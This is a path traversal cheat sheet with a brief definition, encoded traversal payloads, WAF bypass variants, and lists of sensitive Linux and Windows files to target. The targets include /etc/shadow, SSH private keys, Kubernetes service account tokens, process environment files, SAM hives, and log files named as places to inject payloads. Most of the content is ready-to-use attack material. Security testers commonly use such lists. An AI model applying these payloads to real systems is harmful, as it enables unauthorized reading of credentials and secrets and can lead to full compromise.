Path Traversal

Path traversal vulnerability occurs when an application improperly handles user input in file paths, allowing attackers to manipulate the path to access directories and files outside the intended scope. This can lead to unauthorized access to sensitive files, exposure of confidential data, and potentially full system compromise.

Basic Payloads

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

Bypasses

# If WAF removing "../"
..././
...\.\
..;/

# Double URL encoding
. = %252e
/ = %252f
\ = %255c

Interesting Files

Linux

Interesting files:

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db

Possible payload injectable files:

/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail

Windows

Interesting files:

c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system

# Always existing files in recent Windows
c:\windows\system32\license.rtf
c:\windows\system32\eula.txt

References

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal